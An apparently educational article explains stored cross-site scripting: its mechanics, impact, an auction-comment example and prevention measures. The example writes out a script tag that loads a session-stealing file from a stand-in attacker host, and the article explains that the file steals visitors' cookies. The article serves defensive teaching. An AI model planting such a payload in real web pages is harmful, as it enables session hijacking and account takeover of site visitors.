Understanding Stored XSS in Depth

In this article, we will understand one of the types of Cross-Site Scripting in-depth, i.e. Stored XSS.

What is Stored Cross-Site Scripting?

• Stored Cross-Site Scripting vulnerabilities are common in Web-based applications that support interaction between end-users or administrative staff access user records and data within the same application. This vulnerability arises when data submitted by one user is stored in the application (typically in a back-end database) and displayed to other users without being filtered or sanitized appropriately.
• Attacks against stored XSS vulnerabilities typically involve at least two requests to the application. In the first request, the attacker posts some crafted data containing malicious code that the application holds. In the second request, a victim views a page containing the attacker’s data, and the malicious code is executed when the script is performed in the victim’s browser.

Diagrammatic Explanation:

Steps of Stored XSS

From the above figure

• An attacker sends the malicious script in the form of a file.
• It gets stored in the Website Database, if the element in the web application is not sanitized
• Normal User or Victim tries to use the functionality of web application, but the malicious scripts get executed as it is already stored in Database, and the cookies or session is stolen by the attacker.

Impact and Risk: Stored Cross-Site Scripting can have huge implications for a web application and its users.

1. An attacker can hijack user accounts.
2. An attacker could steal credentials.
3. An attacker could exfiltrate sensitive data.
4. An attacker can obtain access to your client’s computers.

Stored XSS attack example:

• While browsing an auction website, an attacker discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. Suppose an attacker can post a comment containing embedded JavaScript, and the application does not filter or sanitize this. In that case, an attacker can post a crafted comment that causes arbitrary scripts to execute within the browser of anyone who views the comment, including both the seller and other potential buyers.
• As the data inputted in the comment box is saved in the database, if another user requests comment data, the malicious script is returned as a response to the user.

The attacker adds the following comment: Great Auction Website! Read my review here

<script src=”http://hackersitelink.com/authstealer.js”> </script>.

• From this, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file hosted on another site and steal visitors’ session data.
• Using the session cookie, the attacker can easily compromise the victim’s sensitive data and take over the victim’s account or steal some precious assets from the visitor’s understanding.
• As in a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page or web element. Stored XSS increases the impact to severity as it directly holds the XSS payload in the database.

Prevention:

• Filter input on arrival. When the user enters the malicious script and requests to the server, at that moment, try to filter and sanitize the input.
• The web application firewall is the most effective and best solution for protecting web applications from Cross-Site Scripting attacks.
• Escaping — Escaping data means taking the data an application has received and ensuring its secure before rendering it for the end-user.
• Validating Input -Validating input is a process of ensuring that the application is rendering the correct data and preventing malicious data from harming the site, database, and users.